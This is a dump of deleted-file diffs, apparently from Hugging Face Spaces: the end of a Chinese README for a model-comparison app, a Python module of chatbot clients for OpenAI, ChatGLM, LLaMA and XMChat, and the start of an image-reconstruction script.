|
12 |
-
|
13 |
-
# 关于本项目
|
14 |
-
|
15 |
-
俗话说:“不管是白猫黑猫,抓得到老鼠的就是好猫”。本应用对比各家的 GPT 自然语言模型,只需输入一次 prompt,就能同时得到所有的答案。数据接口包括 OpenAI 的 ChatGPT、以及国内公司即将推出的语言模型。
|
16 |
-
|
17 |
-
目前接入的模型有:
|
18 |
-
|
19 |
-
- text-davinci-003 (From [OpenAI](https://platform.openai.com/docs/engines/davinci))
|
20 |
-
- WeLM (From [WeChat](https://welm.weixin.qq.com/docs/introduction/))
|
21 |
-
|
22 |
-
本项目基于 [Streamlit](https://docs.streamlit.io/) 开发。
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/AlanMars/QYL-AI-Space/modules/models/models.py
DELETED
@@ -1,651 +0,0 @@
|
|
1 |
-
from __future__ import annotations
|
2 |
-
from typing import TYPE_CHECKING, List
|
3 |
-
|
4 |
-
import logging
|
5 |
-
import json
|
6 |
-
import commentjson as cjson
|
7 |
-
import os
|
8 |
-
import sys
|
9 |
-
import requests
|
10 |
-
import urllib3
|
11 |
-
import platform
|
12 |
-
import base64
|
13 |
-
from io import BytesIO
|
14 |
-
from PIL import Image
|
15 |
-
|
16 |
-
from tqdm import tqdm
|
17 |
-
import colorama
|
18 |
-
from duckduckgo_search import ddg
|
19 |
-
import asyncio
|
20 |
-
import aiohttp
|
21 |
-
from enum import Enum
|
22 |
-
import uuid
|
23 |
-
|
24 |
-
from ..presets import *
|
25 |
-
from ..llama_func import *
|
26 |
-
from ..utils import *
|
27 |
-
from .. import shared
|
28 |
-
from ..config import retrieve_proxy, usage_limit, exchange_rate
|
29 |
-
from modules import config
|
30 |
-
from .base_model import BaseLLMModel, ModelType
|
31 |
-
|
32 |
-
|
33 |
-
class OpenAIClient(BaseLLMModel):
|
34 |
-
def __init__(
|
35 |
-
self,
|
36 |
-
model_name,
|
37 |
-
api_key,
|
38 |
-
system_prompt=INITIAL_SYSTEM_PROMPT,
|
39 |
-
temperature=1.0,
|
40 |
-
top_p=1.0,
|
41 |
-
user_name=""
|
42 |
-
) -> None:
|
43 |
-
super().__init__(
|
44 |
-
model_name=model_name,
|
45 |
-
temperature=temperature,
|
46 |
-
top_p=top_p,
|
47 |
-
system_prompt=system_prompt,
|
48 |
-
user=user_name
|
49 |
-
)
|
50 |
-
self.api_key = api_key
|
51 |
-
self.need_api_key = True
|
52 |
-
self._refresh_header()
|
53 |
-
|
54 |
-
def get_answer_stream_iter(self):
|
55 |
-
response = self._get_response(stream=True)
|
56 |
-
if response is not None:
|
57 |
-
iter = self._decode_chat_response(response)
|
58 |
-
partial_text = ""
|
59 |
-
for i in iter:
|
60 |
-
partial_text += i
|
61 |
-
yield partial_text
|
62 |
-
else:
|
63 |
-
yield STANDARD_ERROR_MSG + GENERAL_ERROR_MSG
|
64 |
-
|
65 |
-
def get_answer_at_once(self):
|
66 |
-
response = self._get_response()
|
67 |
-
response = json.loads(response.text)
|
68 |
-
content = response["choices"][0]["message"]["content"]
|
69 |
-
total_token_count = response["usage"]["total_tokens"]
|
70 |
-
return content, total_token_count
|
71 |
-
|
72 |
-
def count_token(self, user_input):
|
73 |
-
input_token_count = count_token(construct_user(user_input))
|
74 |
-
if self.system_prompt is not None and len(self.all_token_counts) == 0:
|
75 |
-
system_prompt_token_count = count_token(
|
76 |
-
construct_system(self.system_prompt)
|
77 |
-
)
|
78 |
-
return input_token_count + system_prompt_token_count
|
79 |
-
return input_token_count
|
80 |
-
|
81 |
-
def billing_info(self):
|
82 |
-
try:
|
83 |
-
curr_time = datetime.datetime.now()
|
84 |
-
last_day_of_month = get_last_day_of_month(
|
85 |
-
curr_time).strftime("%Y-%m-%d")
|
86 |
-
first_day_of_month = curr_time.replace(day=1).strftime("%Y-%m-%d")
|
87 |
-
usage_url = f"{shared.state.usage_api_url}?start_date={first_day_of_month}&end_date={last_day_of_month}"
|
88 |
-
try:
|
89 |
-
usage_data = self._get_billing_data(usage_url)
|
90 |
-
except Exception as e:
|
91 |
-
logging.error(f"获取API使用情况失败:" + str(e))
|
92 |
-
return i18n("**获取API使用情况失败**")
|
93 |
-
# rounded_usage = "{:.5f}".format(usage_data["total_usage"] / 100)
|
94 |
-
rounded_usage = round(usage_data["total_usage"] * exchange_rate / 100, 4)
|
95 |
-
usage_percent = round(usage_data["total_usage"] * exchange_rate / usage_limit, 2)
|
96 |
-
# return i18n("**本月使用金额** ") + f"\u3000 ${rounded_usage}"
|
97 |
-
return """\
|
98 |
-
<b>""" + i18n("本月使用金额") + f"""</b>
|
99 |
-
<div class="progress-bar">
|
100 |
-
<div class="progress" style="width: {usage_percent}%;">
|
101 |
-
<span class="progress-text">{usage_percent}%</span>
|
102 |
-
</div>
|
103 |
-
</div>
|
104 |
-
<div style="display: flex; justify-content: space-between;"><span>¥{rounded_usage}</span><span>¥{usage_limit}</span></div>
|
105 |
-
"""
|
106 |
-
except requests.exceptions.ConnectTimeout:
|
107 |
-
status_text = (
|
108 |
-
STANDARD_ERROR_MSG + CONNECTION_TIMEOUT_MSG + ERROR_RETRIEVE_MSG
|
109 |
-
)
|
110 |
-
return status_text
|
111 |
-
except requests.exceptions.ReadTimeout:
|
112 |
-
status_text = STANDARD_ERROR_MSG + READ_TIMEOUT_MSG + ERROR_RETRIEVE_MSG
|
113 |
-
return status_text
|
114 |
-
except Exception as e:
|
115 |
-
import traceback
|
116 |
-
traceback.print_exc()
|
117 |
-
logging.error(i18n("获取API使用情况失败:") + str(e))
|
118 |
-
return STANDARD_ERROR_MSG + ERROR_RETRIEVE_MSG
|
119 |
-
|
120 |
-
def set_token_upper_limit(self, new_upper_limit):
|
121 |
-
pass
|
122 |
-
|
123 |
-
@shared.state.switching_api_key # 在不开启多账号模式的时候,这个装饰器不会起作用
|
124 |
-
def _get_response(self, stream=False):
|
125 |
-
openai_api_key = self.api_key
|
126 |
-
system_prompt = self.system_prompt
|
127 |
-
history = self.history
|
128 |
-
logging.debug(colorama.Fore.YELLOW +
|
129 |
-
f"{history}" + colorama.Fore.RESET)
|
130 |
-
headers = {
|
131 |
-
"Content-Type": "application/json",
|
132 |
-
"Authorization": f"Bearer {openai_api_key}",
|
133 |
-
}
|
134 |
-
|
135 |
-
if system_prompt is not None:
|
136 |
-
history = [construct_system(system_prompt), *history]
|
137 |
-
|
138 |
-
payload = {
|
139 |
-
"model": self.model_name,
|
140 |
-
"messages": history,
|
141 |
-
"temperature": self.temperature,
|
142 |
-
"top_p": self.top_p,
|
143 |
-
"n": self.n_choices,
|
144 |
-
"stream": stream,
|
145 |
-
"presence_penalty": self.presence_penalty,
|
146 |
-
"frequency_penalty": self.frequency_penalty,
|
147 |
-
}
|
148 |
-
|
149 |
-
if self.max_generation_token is not None:
|
150 |
-
payload["max_tokens"] = self.max_generation_token
|
151 |
-
if self.stop_sequence is not None:
|
152 |
-
payload["stop"] = self.stop_sequence
|
153 |
-
if self.logit_bias is not None:
|
154 |
-
payload["logit_bias"] = self.logit_bias
|
155 |
-
if self.user_identifier:
|
156 |
-
payload["user"] = self.user_identifier
|
157 |
-
|
158 |
-
if stream:
|
159 |
-
timeout = TIMEOUT_STREAMING
|
160 |
-
else:
|
161 |
-
timeout = TIMEOUT_ALL
|
162 |
-
|
163 |
-
# 如果有自定义的api-host,使用自定义host发送请求,否则使用默认设置发送请求
|
164 |
-
if shared.state.completion_url != COMPLETION_URL:
|
165 |
-
logging.info(f"使用自定义API URL: {shared.state.completion_url}")
|
166 |
-
|
167 |
-
with retrieve_proxy():
|
168 |
-
try:
|
169 |
-
response = requests.post(
|
170 |
-
shared.state.completion_url,
|
171 |
-
headers=headers,
|
172 |
-
json=payload,
|
173 |
-
stream=stream,
|
174 |
-
timeout=timeout,
|
175 |
-
)
|
176 |
-
except:
|
177 |
-
return None
|
178 |
-
return response
|
179 |
-
|
180 |
-
def _refresh_header(self):
|
181 |
-
self.headers = {
|
182 |
-
"Content-Type": "application/json",
|
183 |
-
"Authorization": f"Bearer {self.api_key}",
|
184 |
-
}
|
185 |
-
|
186 |
-
def _get_billing_data(self, billing_url):
|
187 |
-
with retrieve_proxy():
|
188 |
-
response = requests.get(
|
189 |
-
billing_url,
|
190 |
-
headers=self.headers,
|
191 |
-
timeout=TIMEOUT_ALL,
|
192 |
-
)
|
193 |
-
|
194 |
-
if response.status_code == 200:
|
195 |
-
data = response.json()
|
196 |
-
return data
|
197 |
-
else:
|
198 |
-
raise Exception(
|
199 |
-
f"API request failed with status code {response.status_code}: {response.text}"
|
200 |
-
)
|
201 |
-
|
202 |
-
def _decode_chat_response(self, response):
|
203 |
-
error_msg = ""
|
204 |
-
for chunk in response.iter_lines():
|
205 |
-
if chunk:
|
206 |
-
chunk = chunk.decode()
|
207 |
-
chunk_length = len(chunk)
|
208 |
-
try:
|
209 |
-
chunk = json.loads(chunk[6:])
|
210 |
-
except json.JSONDecodeError:
|
211 |
-
print(i18n("JSON解析错误,收到的内容: ") + f"{chunk}")
|
212 |
-
error_msg += chunk
|
213 |
-
continue
|
214 |
-
if chunk_length > 6 and "delta" in chunk["choices"][0]:
|
215 |
-
if chunk["choices"][0]["finish_reason"] == "stop":
|
216 |
-
break
|
217 |
-
try:
|
218 |
-
yield chunk["choices"][0]["delta"]["content"]
|
219 |
-
except Exception as e:
|
220 |
-
# logging.error(f"Error: {e}")
|
221 |
-
continue
|
222 |
-
if error_msg:
|
223 |
-
raise Exception(error_msg)
|
224 |
-
|
225 |
-
def set_key(self, new_access_key):
|
226 |
-
ret = super().set_key(new_access_key)
|
227 |
-
self._refresh_header()
|
228 |
-
return ret
|
229 |
-
|
230 |
-
|
231 |
-
class ChatGLM_Client(BaseLLMModel):
|
232 |
-
def __init__(self, model_name, user_name="") -> None:
|
233 |
-
super().__init__(model_name=model_name, user=user_name)
|
234 |
-
from transformers import AutoTokenizer, AutoModel
|
235 |
-
import torch
|
236 |
-
global CHATGLM_TOKENIZER, CHATGLM_MODEL
|
237 |
-
if CHATGLM_TOKENIZER is None or CHATGLM_MODEL is None:
|
238 |
-
system_name = platform.system()
|
239 |
-
model_path = None
|
240 |
-
if os.path.exists("models"):
|
241 |
-
model_dirs = os.listdir("models")
|
242 |
-
if model_name in model_dirs:
|
243 |
-
model_path = f"models/{model_name}"
|
244 |
-
if model_path is not None:
|
245 |
-
model_source = model_path
|
246 |
-
else:
|
247 |
-
model_source = f"THUDM/{model_name}"
|
248 |
-
CHATGLM_TOKENIZER = AutoTokenizer.from_pretrained(
|
249 |
-
model_source, trust_remote_code=True
|
250 |
-
)
|
251 |
-
quantified = False
|
252 |
-
if "int4" in model_name:
|
253 |
-
quantified = True
|
254 |
-
model = AutoModel.from_pretrained(
|
255 |
-
model_source, trust_remote_code=True
|
256 |
-
)
|
257 |
-
if torch.cuda.is_available():
|
258 |
-
# run on CUDA
|
259 |
-
logging.info("CUDA is available, using CUDA")
|
260 |
-
model = model.half().cuda()
|
261 |
-
# mps加速还存在一些问题,暂时不使用
|
262 |
-
elif system_name == "Darwin" and model_path is not None and not quantified:
|
263 |
-
logging.info("Running on macOS, using MPS")
|
264 |
-
# running on macOS and model already downloaded
|
265 |
-
model = model.half().to("mps")
|
266 |
-
else:
|
267 |
-
logging.info("GPU is not available, using CPU")
|
268 |
-
model = model.float()
|
269 |
-
model = model.eval()
|
270 |
-
CHATGLM_MODEL = model
|
271 |
-
|
272 |
-
def _get_glm_style_input(self):
|
273 |
-
history = [x["content"] for x in self.history]
|
274 |
-
query = history.pop()
|
275 |
-
logging.debug(colorama.Fore.YELLOW +
|
276 |
-
f"{history}" + colorama.Fore.RESET)
|
277 |
-
assert (
|
278 |
-
len(history) % 2 == 0
|
279 |
-
), f"History should be even length. current history is: {history}"
|
280 |
-
history = [[history[i], history[i + 1]]
|
281 |
-
for i in range(0, len(history), 2)]
|
282 |
-
return history, query
|
283 |
-
|
284 |
-
def get_answer_at_once(self):
|
285 |
-
history, query = self._get_glm_style_input()
|
286 |
-
response, _ = CHATGLM_MODEL.chat(
|
287 |
-
CHATGLM_TOKENIZER, query, history=history)
|
288 |
-
return response, len(response)
|
289 |
-
|
290 |
-
def get_answer_stream_iter(self):
|
291 |
-
history, query = self._get_glm_style_input()
|
292 |
-
for response, history in CHATGLM_MODEL.stream_chat(
|
293 |
-
CHATGLM_TOKENIZER,
|
294 |
-
query,
|
295 |
-
history,
|
296 |
-
max_length=self.token_upper_limit,
|
297 |
-
top_p=self.top_p,
|
298 |
-
temperature=self.temperature,
|
299 |
-
):
|
300 |
-
yield response
|
301 |
-
|
302 |
-
|
303 |
-
class LLaMA_Client(BaseLLMModel):
|
304 |
-
def __init__(
|
305 |
-
self,
|
306 |
-
model_name,
|
307 |
-
lora_path=None,
|
308 |
-
user_name=""
|
309 |
-
) -> None:
|
310 |
-
super().__init__(model_name=model_name, user=user_name)
|
311 |
-
from lmflow.datasets.dataset import Dataset
|
312 |
-
from lmflow.pipeline.auto_pipeline import AutoPipeline
|
313 |
-
from lmflow.models.auto_model import AutoModel
|
314 |
-
from lmflow.args import ModelArguments, DatasetArguments, InferencerArguments
|
315 |
-
|
316 |
-
self.max_generation_token = 1000
|
317 |
-
self.end_string = "\n\n"
|
318 |
-
# We don't need input data
|
319 |
-
data_args = DatasetArguments(dataset_path=None)
|
320 |
-
self.dataset = Dataset(data_args)
|
321 |
-
self.system_prompt = ""
|
322 |
-
|
323 |
-
global LLAMA_MODEL, LLAMA_INFERENCER
|
324 |
-
if LLAMA_MODEL is None or LLAMA_INFERENCER is None:
|
325 |
-
model_path = None
|
326 |
-
if os.path.exists("models"):
|
327 |
-
model_dirs = os.listdir("models")
|
328 |
-
if model_name in model_dirs:
|
329 |
-
model_path = f"models/{model_name}"
|
330 |
-
if model_path is not None:
|
331 |
-
model_source = model_path
|
332 |
-
else:
|
333 |
-
model_source = f"decapoda-research/{model_name}"
|
334 |
-
# raise Exception(f"models目录下没有这个模型: {model_name}")
|
335 |
-
if lora_path is not None:
|
336 |
-
lora_path = f"lora/{lora_path}"
|
337 |
-
model_args = ModelArguments(model_name_or_path=model_source, lora_model_path=lora_path, model_type=None, config_overrides=None, config_name=None, tokenizer_name=None, cache_dir=None,
|
338 |
-
use_fast_tokenizer=True, model_revision='main', use_auth_token=False, torch_dtype=None, use_lora=False, lora_r=8, lora_alpha=32, lora_dropout=0.1, use_ram_optimized_load=True)
|
339 |
-
pipeline_args = InferencerArguments(
|
340 |
-
local_rank=0, random_seed=1, deepspeed='configs/ds_config_chatbot.json', mixed_precision='bf16')
|
341 |
-
|
342 |
-
with open(pipeline_args.deepspeed, "r") as f:
|
343 |
-
ds_config = json.load(f)
|
344 |
-
LLAMA_MODEL = AutoModel.get_model(
|
345 |
-
model_args,
|
346 |
-
tune_strategy="none",
|
347 |
-
ds_config=ds_config,
|
348 |
-
)
|
349 |
-
LLAMA_INFERENCER = AutoPipeline.get_pipeline(
|
350 |
-
pipeline_name="inferencer",
|
351 |
-
model_args=model_args,
|
352 |
-
data_args=data_args,
|
353 |
-
pipeline_args=pipeline_args,
|
354 |
-
)
|
355 |
-
|
356 |
-
def _get_llama_style_input(self):
|
357 |
-
history = []
|
358 |
-
instruction = ""
|
359 |
-
if self.system_prompt:
|
360 |
-
instruction = (f"Instruction: {self.system_prompt}\n")
|
361 |
-
for x in self.history:
|
362 |
-
if x["role"] == "user":
|
363 |
-
history.append(f"{instruction}Input: {x['content']}")
|
364 |
-
else:
|
365 |
-
history.append(f"Output: {x['content']}")
|
366 |
-
context = "\n\n".join(history)
|
367 |
-
context += "\n\nOutput: "
|
368 |
-
return context
|
369 |
-
|
370 |
-
def get_answer_at_once(self):
|
371 |
-
context = self._get_llama_style_input()
|
372 |
-
|
373 |
-
input_dataset = self.dataset.from_dict(
|
374 |
-
{"type": "text_only", "instances": [{"text": context}]}
|
375 |
-
)
|
376 |
-
|
377 |
-
output_dataset = LLAMA_INFERENCER.inference(
|
378 |
-
model=LLAMA_MODEL,
|
379 |
-
dataset=input_dataset,
|
380 |
-
max_new_tokens=self.max_generation_token,
|
381 |
-
temperature=self.temperature,
|
382 |
-
)
|
383 |
-
|
384 |
-
response = output_dataset.to_dict()["instances"][0]["text"]
|
385 |
-
return response, len(response)
|
386 |
-
|
387 |
-
def get_answer_stream_iter(self):
|
388 |
-
context = self._get_llama_style_input()
|
389 |
-
partial_text = ""
|
390 |
-
step = 1
|
391 |
-
for _ in range(0, self.max_generation_token, step):
|
392 |
-
input_dataset = self.dataset.from_dict(
|
393 |
-
{"type": "text_only", "instances": [
|
394 |
-
{"text": context + partial_text}]}
|
395 |
-
)
|
396 |
-
output_dataset = LLAMA_INFERENCER.inference(
|
397 |
-
model=LLAMA_MODEL,
|
398 |
-
dataset=input_dataset,
|
399 |
-
max_new_tokens=step,
|
400 |
-
temperature=self.temperature,
|
401 |
-
)
|
402 |
-
response = output_dataset.to_dict()["instances"][0]["text"]
|
403 |
-
if response == "" or response == self.end_string:
|
404 |
-
break
|
405 |
-
partial_text += response
|
406 |
-
yield partial_text
|
407 |
-
|
408 |
-
|
409 |
-
class XMChat(BaseLLMModel):
|
410 |
-
def __init__(self, api_key, user_name=""):
|
411 |
-
super().__init__(model_name="xmchat", user=user_name)
|
412 |
-
self.api_key = api_key
|
413 |
-
self.session_id = None
|
414 |
-
self.reset()
|
415 |
-
self.image_bytes = None
|
416 |
-
self.image_path = None
|
417 |
-
self.xm_history = []
|
418 |
-
self.url = "https://xmbot.net/web"
|
419 |
-
self.last_conv_id = None
|
420 |
-
|
421 |
-
def reset(self):
|
422 |
-
self.session_id = str(uuid.uuid4())
|
423 |
-
self.last_conv_id = None
|
424 |
-
return [], "已重置"
|
425 |
-
|
426 |
-
def image_to_base64(self, image_path):
|
427 |
-
# 打开并加载图片
|
428 |
-
img = Image.open(image_path)
|
429 |
-
|
430 |
-
# 获取图片的宽度和高度
|
431 |
-
width, height = img.size
|
432 |
-
|
433 |
-
# 计算压缩比例,以确保最长边小于4096像素
|
434 |
-
max_dimension = 2048
|
435 |
-
scale_ratio = min(max_dimension / width, max_dimension / height)
|
436 |
-
|
437 |
-
if scale_ratio < 1:
|
438 |
-
# 按压缩比例调整图片大小
|
439 |
-
new_width = int(width * scale_ratio)
|
440 |
-
new_height = int(height * scale_ratio)
|
441 |
-
img = img.resize((new_width, new_height), Image.ANTIALIAS)
|
442 |
-
|
443 |
-
# 将图片转换为jpg格式的二进制数据
|
444 |
-
buffer = BytesIO()
|
445 |
-
if img.mode == "RGBA":
|
446 |
-
img = img.convert("RGB")
|
447 |
-
img.save(buffer, format='JPEG')
|
448 |
-
binary_image = buffer.getvalue()
|
449 |
-
|
450 |
-
# 对二进制数据进行Base64编码
|
451 |
-
base64_image = base64.b64encode(binary_image).decode('utf-8')
|
452 |
-
|
453 |
-
return base64_image
|
454 |
-
|
455 |
-
def try_read_image(self, filepath):
|
456 |
-
def is_image_file(filepath):
|
457 |
-
# 判断文件是否为图片
|
458 |
-
valid_image_extensions = [
|
459 |
-
".jpg", ".jpeg", ".png", ".bmp", ".gif", ".tiff"]
|
460 |
-
file_extension = os.path.splitext(filepath)[1].lower()
|
461 |
-
return file_extension in valid_image_extensions
|
462 |
-
|
463 |
-
if is_image_file(filepath):
|
464 |
-
logging.info(f"读取图片文件: {filepath}")
|
465 |
-
self.image_bytes = self.image_to_base64(filepath)
|
466 |
-
self.image_path = filepath
|
467 |
-
else:
|
468 |
-
self.image_bytes = None
|
469 |
-
self.image_path = None
|
470 |
-
|
471 |
-
def like(self):
|
472 |
-
if self.last_conv_id is None:
|
473 |
-
return "点赞失败,你还没发送过消息"
|
474 |
-
data = {
|
475 |
-
"uuid": self.last_conv_id,
|
476 |
-
"appraise": "good"
|
477 |
-
}
|
478 |
-
requests.post(self.url, json=data)
|
479 |
-
return "👍点赞成功,感谢反馈~"
|
480 |
-
|
481 |
-
def dislike(self):
|
482 |
-
if self.last_conv_id is None:
|
483 |
-
return "点踩失败,你还没发送过消息"
|
484 |
-
data = {
|
485 |
-
"uuid": self.last_conv_id,
|
486 |
-
"appraise": "bad"
|
487 |
-
}
|
488 |
-
requests.post(self.url, json=data)
|
489 |
-
return "👎点踩成功,感谢反馈~"
|
490 |
-
|
491 |
-
def prepare_inputs(self, real_inputs, use_websearch, files, reply_language, chatbot):
|
492 |
-
fake_inputs = real_inputs
|
493 |
-
display_append = ""
|
494 |
-
limited_context = False
|
495 |
-
return limited_context, fake_inputs, display_append, real_inputs, chatbot
|
496 |
-
|
497 |
-
def handle_file_upload(self, files, chatbot):
|
498 |
-
"""if the model accepts multi modal input, implement this function"""
|
499 |
-
if files:
|
500 |
-
for file in files:
|
501 |
-
if file.name:
|
502 |
-
logging.info(f"尝试读取图像: {file.name}")
|
503 |
-
self.try_read_image(file.name)
|
504 |
-
if self.image_path is not None:
|
505 |
-
chatbot = chatbot + [((self.image_path,), None)]
|
506 |
-
if self.image_bytes is not None:
|
507 |
-
logging.info("使用图片作为输入")
|
508 |
-
# XMChat的一轮对话中实际上只能处理一张图片
|
509 |
-
self.reset()
|
510 |
-
conv_id = str(uuid.uuid4())
|
511 |
-
data = {
|
512 |
-
"user_id": self.api_key,
|
513 |
-
"session_id": self.session_id,
|
514 |
-
"uuid": conv_id,
|
515 |
-
"data_type": "imgbase64",
|
516 |
-
"data": self.image_bytes
|
517 |
-
}
|
518 |
-
response = requests.post(self.url, json=data)
|
519 |
-
response = json.loads(response.text)
|
520 |
-
logging.info(f"图片回复: {response['data']}")
|
521 |
-
return None, chatbot, None
|
522 |
-
|
523 |
-
def get_answer_at_once(self):
|
524 |
-
question = self.history[-1]["content"]
|
525 |
-
conv_id = str(uuid.uuid4())
|
526 |
-
self.last_conv_id = conv_id
|
527 |
-
data = {
|
528 |
-
"user_id": self.api_key,
|
529 |
-
"session_id": self.session_id,
|
530 |
-
"uuid": conv_id,
|
531 |
-
"data_type": "text",
|
532 |
-
"data": question
|
533 |
-
}
|
534 |
-
response = requests.post(self.url, json=data)
|
535 |
-
try:
|
536 |
-
response = json.loads(response.text)
|
537 |
-
return response["data"], len(response["data"])
|
538 |
-
except Exception as e:
|
539 |
-
return response.text, len(response.text)
|
540 |
-
|
541 |
-
|
542 |
-
def get_model(
|
543 |
-
model_name,
|
544 |
-
lora_model_path=None,
|
545 |
-
access_key=None,
|
546 |
-
temperature=None,
|
547 |
-
top_p=None,
|
548 |
-
system_prompt=None,
|
549 |
-
user_name=""
|
550 |
-
) -> BaseLLMModel:
|
551 |
-
msg = i18n("模型设置为了:") + f" {model_name}"
|
552 |
-
model_type = ModelType.get_type(model_name)
|
553 |
-
lora_selector_visibility = False
|
554 |
-
lora_choices = []
|
555 |
-
dont_change_lora_selector = False
|
556 |
-
if model_type != ModelType.OpenAI:
|
557 |
-
config.local_embedding = True
|
558 |
-
# del current_model.model
|
559 |
-
model = None
|
560 |
-
try:
|
561 |
-
if model_type == ModelType.OpenAI:
|
562 |
-
logging.info(f"正在加载OpenAI模型: {model_name}")
|
563 |
-
model = OpenAIClient(
|
564 |
-
model_name=model_name,
|
565 |
-
api_key=access_key,
|
566 |
-
system_prompt=system_prompt,
|
567 |
-
temperature=temperature,
|
568 |
-
top_p=top_p,
|
569 |
-
user_name=user_name,
|
570 |
-
)
|
571 |
-
elif model_type == ModelType.ChatGLM:
|
572 |
-
logging.info(f"正在加载ChatGLM模型: {model_name}")
|
573 |
-
model = ChatGLM_Client(model_name, user_name=user_name)
|
574 |
-
elif model_type == ModelType.LLaMA and lora_model_path == "":
|
575 |
-
msg = f"现在请为 {model_name} 选择LoRA模型"
|
576 |
-
logging.info(msg)
|
577 |
-
lora_selector_visibility = True
|
578 |
-
if os.path.isdir("lora"):
|
579 |
-
lora_choices = get_file_names(
|
580 |
-
"lora", plain=True, filetypes=[""])
|
581 |
-
lora_choices = ["No LoRA"] + lora_choices
|
582 |
-
elif model_type == ModelType.LLaMA and lora_model_path != "":
|
583 |
-
logging.info(f"正在加载LLaMA模型: {model_name} + {lora_model_path}")
|
584 |
-
dont_change_lora_selector = True
|
585 |
-
if lora_model_path == "No LoRA":
|
586 |
-
lora_model_path = None
|
587 |
-
msg += " + No LoRA"
|
588 |
-
else:
|
589 |
-
msg += f" + {lora_model_path}"
|
590 |
-
model = LLaMA_Client(
|
591 |
-
model_name, lora_model_path, user_name=user_name)
|
592 |
-
elif model_type == ModelType.XMChat:
|
593 |
-
if os.environ.get("XMCHAT_API_KEY") != "":
|
594 |
-
access_key = os.environ.get("XMCHAT_API_KEY")
|
595 |
-
model = XMChat(api_key=access_key, user_name=user_name)
|
596 |
-
elif model_type == ModelType.StableLM:
|
597 |
-
from .StableLM import StableLM_Client
|
598 |
-
model = StableLM_Client(model_name, user_name=user_name)
|
599 |
-
elif model_type == ModelType.MOSS:
|
600 |
-
from .MOSS import MOSS_Client
|
601 |
-
model = MOSS_Client(model_name, user_name=user_name)
|
602 |
-
elif model_type == ModelType.YuanAI:
|
603 |
-
from .inspurai import Yuan_Client
|
604 |
-
model = Yuan_Client(model_name, api_key=access_key, user_name=user_name, system_prompt=system_prompt)
|
605 |
-
elif model_type == ModelType.Unknown:
|
606 |
-
raise ValueError(f"未知模型: {model_name}")
|
607 |
-
logging.info(msg)
|
608 |
-
chatbot = gr.Chatbot.update(label=model_name)
|
609 |
-
except Exception as e:
|
610 |
-
logging.error(e)
|
611 |
-
msg = f"{STANDARD_ERROR_MSG}: {e}"
|
612 |
-
if dont_change_lora_selector:
|
613 |
-
return model, msg, chatbot
|
614 |
-
else:
|
615 |
-
return model, msg, chatbot, gr.Dropdown.update(choices=lora_choices, visible=lora_selector_visibility)
|
616 |
-
|
617 |
-
|
618 |
-
if __name__ == "__main__":
|
619 |
-
with open("config.json", "r") as f:
|
620 |
-
openai_api_key = cjson.load(f)["openai_api_key"]
|
621 |
-
# set logging level to debug
|
622 |
-
logging.basicConfig(level=logging.DEBUG)
|
623 |
-
# client = ModelManager(model_name="gpt-3.5-turbo", access_key=openai_api_key)
|
624 |
-
client = get_model(model_name="chatglm-6b-int4")
|
625 |
-
chatbot = []
|
626 |
-
stream = False
|
627 |
-
# 测试账单功能
|
628 |
-
logging.info(colorama.Back.GREEN + "测试账单功能" + colorama.Back.RESET)
|
629 |
-
logging.info(client.billing_info())
|
630 |
-
# 测试问答
|
631 |
-
logging.info(colorama.Back.GREEN + "测试问答" + colorama.Back.RESET)
|
632 |
-
question = "巴黎是中国的首都吗?"
|
633 |
-
for i in client.predict(inputs=question, chatbot=chatbot, stream=stream):
|
634 |
-
logging.info(i)
|
635 |
-
logging.info(f"测试问答后history : {client.history}")
|
636 |
-
# 测试记忆力
|
637 |
-
logging.info(colorama.Back.GREEN + "测试记忆力" + colorama.Back.RESET)
|
638 |
-
question = "我刚刚问了你什么问题?"
|
639 |
-
for i in client.predict(inputs=question, chatbot=chatbot, stream=stream):
|
640 |
-
logging.info(i)
|
641 |
-
logging.info(f"测试记忆力后history : {client.history}")
|
642 |
-
# 测试重试功能
|
643 |
-
logging.info(colorama.Back.GREEN + "测试重试功能" + colorama.Back.RESET)
|
644 |
-
for i in client.retry(chatbot=chatbot, stream=stream):
|
645 |
-
logging.info(i)
|
646 |
-
logging.info(f"重试后history : {client.history}")
|
647 |
-
# # 测试总结功能
|
648 |
-
# print(colorama.Back.GREEN + "测试总结功能" + colorama.Back.RESET)
|
649 |
-
# chatbot, msg = client.reduce_token_size(chatbot=chatbot)
|
650 |
-
# print(chatbot, msg)
|
651 |
-
# print(f"总结后history: {client.history}")
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
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construction.py
DELETED
@@ -1,69 +0,0 @@
|
|
1 |
-
import os
|
2 |
-
from tqdm import tqdm
|
3 |
-
import torch
|
4 |
-
from torch.utils.data import DataLoader
|
5 |
-
from logger import Logger, Visualizer
|
6 |
-
import numpy as np
|
7 |
-
import imageio
|
8 |
-
|
9 |
-
|
10 |
-
def reconstruction(config, inpainting_network, kp_detector, bg_predictor, dense_motion_network, checkpoint, log_dir, dataset):
|
11 |
-
png_dir = os.path.join(log_dir, 'reconstruction/png')
|
12 |
-
log_dir = os.path.join(log_dir, 'reconstruction')
|
13 |
-
|
14 |
-
if checkpoint is not None:
|
15 |
-
Logger.load_cpk(checkpoint, inpainting_network=inpainting_network, kp_detector=kp_detector,
|
16 |
-
bg_predictor=bg_predictor, dense_motion_network=dense_motion_network)
|
17 |
-
else:
|
18 |
-
raise AttributeError("Checkpoint should be specified for mode='reconstruction'.")
|
19 |
-
